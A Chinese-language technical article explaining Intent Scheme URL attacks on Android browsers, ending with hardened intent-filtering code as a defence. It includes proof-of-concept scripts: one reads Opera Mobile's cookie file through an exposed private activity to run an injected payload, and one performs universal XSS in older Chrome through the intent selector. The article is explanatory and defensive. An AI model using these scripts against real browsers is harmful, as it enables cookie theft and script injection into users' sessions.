0x0 引言

我們知道，在Android上的Intent-based攻擊很普遍，這種攻擊輕則導致應用程序崩潰，重則可能演變提權漏洞。當然，通過靜態特征匹配，Intent-Based的惡意樣本還是很容易被識別出來的。

然而最近出現了一種基於Android Browser的攻擊手段——Intent Scheme URLs攻擊。這種攻擊方式利用了浏覽器保護措施的不足，通過浏覽器作為橋梁間接實現Intend-Based攻擊。相比於普通Intend-Based攻擊，這種方式極具隱蔽性，而且由於惡意代碼隱藏WebPage中，傳統的特征匹配完全不起作用。除此之外，這種攻擊還能直接訪問跟浏覽器自身的組件（無論是公開還是私有）和私有文件，比如cookie文件，進而導致用戶機密信息的洩露。

0x1 Intent scheme URL的用法

看一下Intent Scheme URL的用法。

<script>location.href = “intent:mydata#Intent;action=myaction;type=text/plain;end”</script>

從用法上看，還是很好理解的，這裡的代碼等價於如下Java代碼：

Intent intent = new Intent(“myaction”);
intent.setData(Uri.parse(“mydata”));
intent.setType(“text/plain”);

再看一個例子：

intent://foobar/#Intent;action=myaction;type=text/plain;S.xyz=123;i.abc=678;end

上面的語句，等價於如下Java代碼：

Intent intent = new Intent(“myaction”);
intent.setData(Uri.pase(“//foobar/”));
intent.putExtra(“xyz”, “123”);
intent.putExtra(“abc”, 678);

其中S代表String類型的key-value，i代表int類型的key-value。

源碼中提供了Intent.parseUri(String uri)靜態方法，通過這個方法可以直接解析uri，如果想更一步了解其中的語法，可以查看官方源碼。

0x2 Intent scheme URI的解析及過濾

如果浏覽器支持Intent Scheme URI語法，一般會分三個步驟進行處理：

利用Intent.parseUri解析uri，獲取原始的intent對象；對intent對象設置過濾規則，不同的浏覽器有不同的策略，後面會詳細介紹；通過Context.startActivityIfNeeded或者Context.startActivity發送intent；

其中步驟2起關鍵作用，過濾規則缺失或者存在缺陷都會導致Intent Schem URL攻擊。

下面是各大浏覽器對Intent scheme URL的支持情況

可見，除了Firefox外其他的浏覽器都支持Intent Scheme URL語法。

0x3 攻擊示例

a.Opera mobile之cookie盜取

Opera上的intent過濾策略是完全缺失的，因此我們可以輕易調用Opera上的私有activity。比如下面這個攻擊示例：

<script>
location.href = “intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end”;
</script>

通過上面的腳本，我們可以直接調起AdMarvelActivity。AdMarvelActvity會從intent中獲取url，並以HTML/JavaScript的方式解析cookies文件。

試想一下，如果我們預先構造一個惡意網站，並讓用戶通過浏覽器訪問。這時在惡意見面中，存在如下腳本：

<script>
document.cookie = “x=<script>(javascript code); path=/blah; expires=Tue, 01-Jan-2030 00:00:00 GMT”;
location.href = “intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end”;
</script>

當AdMarvelActivity解析cookies文件時，就會執行playload。

b.Chrome之UXSS

Chrome的UXSS漏洞利用相對復雜。介紹之前，我們需要先了解一下關於Intent Selector的用法，詳情見。簡而言之，Intent Selector機制提供一種main intent不匹配的情況下可以設置替補的方案。比如A是main intent, B是A的selector intent，當startActiviy時，系統發現A無法匹配則會嘗試用B去匹配。

Chrome相比於Opera，在intent過濾的步驟中添加了安全策略，代碼如下：

Intent intent = Intent.parseUri(uri);
intent.addCategory(“android.intent.category.BROWSABLE”);
intent.setComponent(null);
context.startActivityIfNeeded(intent, -1);

從代碼中，可以看到Chrome為了防御Intent Based攻擊，做了不少限制，比如把category強置為”android.intent.category.BROWSABLE”，把component強置為null，相對之後比Opera強多了。然而，Chrome忽略了Intent Selector的用法，比如下面的用法:

intent:#Intent;S.xxx=123; SEL;component=com.android.chrome/.xyz;end

留意其中的關鍵字“SEL”，其實就是設置了一個component為com.android.chrome/.xyz的 selector intent，這種用法導致chrome的防御措施形同虛設。最後看一下Chrome UXSS的PoC：

<script>
//通過WebAppActivity0我們先打開一個攻擊的站點
location.href = "intent:#Intent;S.webapp_url=http://victim.example.jp;l.webapp_id=0;SEL;compo nent=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end";
// 停留2s或者更長時間, 然後注入javascript payload
setTimeout(function() {
location.href = "intent:#Intent;S.webapp_url=javascript：(malicious javascript code);l.webapp_id=1;SEL;component=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end";
}, 2000); 
</script>

這裡的關鍵點是WebappActivity0對new intent的處理方式上。

第一次打開站點，並完成加載。第二次則是直接把javascript payload注入到目標網頁。這個漏洞存在於在所有低於v.30.0.1599.92的chrome版本，而新版本修改WebappActivity對new intent的處理方式，會創建new tab，這樣就避免了javascript inject。

然而在新版中，依然沒有屏避intent selector的使用，因此依然存在Chrome的私有組件和文件被讀取的安全隱患。

0x4 結論

通過上兩個漏洞的描述，我們總結得出一種相對比較安全的Intent Filter方法，代碼如下：

// convert intent scheme URL to intent object
Intent intent = Intent.parseUri(uri);
// forbid launching activities without BROWSABLE category
intent.addCategory("android.intent.category.BROWSABLE");
// forbid explicit call
intent.setComponent(null);
// forbid intent with selector intent
intent.setSelector(null);
// start the activity by the intent
context.startActivityIfNeeded(intent, -1);